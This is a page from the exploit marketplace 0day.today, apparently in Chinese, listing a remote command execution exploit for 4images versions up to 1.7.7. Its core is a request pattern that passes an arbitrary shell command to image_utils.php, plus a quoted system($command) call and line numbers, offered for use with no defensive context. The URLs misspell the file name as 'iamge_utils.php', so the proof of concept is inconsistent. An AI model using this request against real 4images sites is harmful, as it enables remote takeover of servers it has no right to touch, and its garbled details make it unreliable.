[ 授权 ] [ 注册 ] [ 恢复账号 ]
联系我们
你可以由此方式联系我们:
0day.today   漏洞利用市场和0day漏洞利用数据库

4images <= 1.7.7 (image_utils.php) Remote Command Execution

作者
n/a
风险
[
安全风险级别 - 未分类
]
0day-ID
0day-ID-12218
类别
web applications
添加日期
12-05-2010
平台
php
=========================================================================
4images <= 1.7.7 (image_utils.php) Remote Command Execution Vulnerability
=========================================================================


# [+] Script :4images #
# [+] Download:http://www.4homepages.de/downloads/e0adbeb40435/4images1.7.7.zip
# Version: [1.7.7] #
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=
Exploit : includes/image_utils.php
 
http://localhost/includes/iamge_utils.php?command=[your command]
 
http://127.0.0.1/includes/iamge_utils.php?command=[your command]
 
 
 system($command);
 
line : 104 and 125 



#  0day.today [2024-06-30]  #